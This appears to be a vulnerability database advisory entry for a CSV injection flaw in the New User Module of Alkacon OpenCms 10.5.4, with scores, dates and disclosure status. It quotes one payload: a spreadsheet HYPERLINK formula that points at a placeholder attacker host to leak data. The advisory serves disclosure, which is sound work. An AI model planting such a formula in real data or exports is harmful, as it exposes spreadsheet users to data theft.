Alkacon OpenCms 10.5.4 New User Module CSV Injection privilege escalation

A vulnerability was found in Alkacon OpenCms 10.5.4. It has been classified as critical. This affects code of the component New User Module. The manipulation with the input value =HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe") leads to a privilege escalation vulnerability (CSV Injection). CWE is classifying the issue as CWE-269. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was shared 04/08/2019 as unconfirmed bug report (GitHub Repository). It is possible to read the advisory at github.com. Technical details of the vulnerability are known, but there is no available exploit. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 05/07/2019).

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The issues 134437 are related to this entry.

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VulDB Meta Base Score: 5.5
VulDB Meta Temp Score: 5.1

VulDB Base Score: ≈5.5
VulDB Temp Score: ≈5.1
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Class: Privilege escalation / CSV Injection (CWE-269)
Local: Yes
Remote: No

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0-Day Time: ?04/08/2019 Advisory disclosed
05/07/2019 +29 days VulDB entry created
05/07/2019 +0 days VulDB last updateAdvisory: github.com
Status: Unconfirmed
See also: ?Created: 05/07/2019 07:29 AM
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Submitter: pramodrana

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